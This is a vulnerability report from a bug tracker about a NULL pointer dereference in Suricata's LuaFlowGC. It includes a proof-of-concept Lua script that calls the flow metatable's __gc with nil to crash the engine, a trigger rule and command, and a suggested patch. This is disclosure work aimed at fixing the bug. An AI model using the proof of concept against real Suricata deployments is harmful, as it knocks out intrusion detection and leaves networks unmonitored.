Bug #8248
openlua: calling metatable garbage collector with nil from a script leadsd to a null pointer dereference
Description
Vulnerability Report: NULL Pointer Dereference in LuaFlowGC (DoS)¶
Summary¶
A NULL pointer dereference vulnerability exists in the LuaFlowGC function within src/util-lua-flowlib.c. This function, which serves as the garbage collection (__gc) metamethod for Flow objects in Lua, fails to validate that the argument passed to it is a valid userdata object. An attacker with the ability to load a Lua script (e.g., via a detection rule) and enabled restricted Lua functions can manually invoke this method with nil, causing the Suricata engine to crash (Segmentation Fault).
Vulnerability Details¶
- Component: Suricata Lua API (Flow Module)
- File:
src/util-lua-flowlib.c - Function:
LuaFlowGC - Type: NULL Pointer Dereference (CWE-476)
- Impact: Denial of Service (DoS)
Technical Analysis¶
The vulnerable function retrieves a pointer from the Lua stack using lua_touserdata without checking if the return value is NULL.
// src/util-lua-flowlib.c
static int LuaFlowGC(lua_State *luastate)
{
SCLogDebug("gc:start");
// [1] lua_touserdata returns NULL if arg 1 is not a userdata (e.g., if it is nil)
struct LuaFlow *s = (struct LuaFlow *)lua_touserdata(luastate, 1);
SCLogDebug("flow %p", s->f); // SCLogDebug might dereference s depending on debug level/macro
// [2] CRASH: Dereferencing 's' which is NULL
s->f = NULL;
SCLogDebug("gc:done");
return 0;
}
If LuaFlowGC is called with nil (or any non-userdata type), lua_touserdata returns NULL. The subsequent line s->f = NULL; attempts to write to address 0x0 + offset, resulting in a segmentation fault.
Reproduction Steps¶
Prerequisites¶
- Suricata must be configured to allow restricted Lua functions (to access
getmetatable).
Insuricata.yaml:security: lua: allow-restricted-functions: true - Ability to load a custom Lua script via a rule.
PoC Script (577.lua)¶
local sf = require "suricata.flow"
function init(args)
local needs = {}
needs["packet"] = "true"
return needs
end
function match(args)
-- 1. Get a valid flow object
local f = sf.get()
if f then
-- 2. Access its metatable
local mt = getmetatable(f)
if mt and mt.__gc then
-- 3. Manually call __gc with nil to trigger the crash
mt.__gc(nil)
end
end
return 1
end
Trigger Command¶
Run Suricata with a rule that invokes the script:
suricata -c suricata.yaml -S 577.rules -i lo # Rule: alert ip any any -> any any (msg:"Crash"; lua:suricata_crash.lua; sid:1; rev:1;)
Send any traffic (e.g.,
ping 127.0.0.1) to trigger the rule.
Impact Analysis¶
This vulnerability allows a Denial of Service (DoS) attack. If an attacker can introduce a malicious Lua script (e.g., in a multi-tenant environment or via a compromised rule update supply chain), they can crash the entire Suricata intrusion detection engine, rendering the network unmonitored.
Recommendation¶
Add a NULL check for the return value of lua_touserdata in LuaFlowGC.
Patch Suggestion:
static int LuaFlowGC(lua_State *luastate)
{
SCLogDebug("gc:start");
struct LuaFlow *s = (struct LuaFlow *)lua_touserdata(luastate, 1);
// FIX: Check for NULL pointer
if (s == NULL) {
return 0; // Or raise a Lua error
}
SCLogDebug("flow %p", s->f);
s->f = NULL;
SCLogDebug("gc:done");
return 0;
}
Credits¶
Discovered by https://github.com/kaixinhouse
Verified by @Jason Ish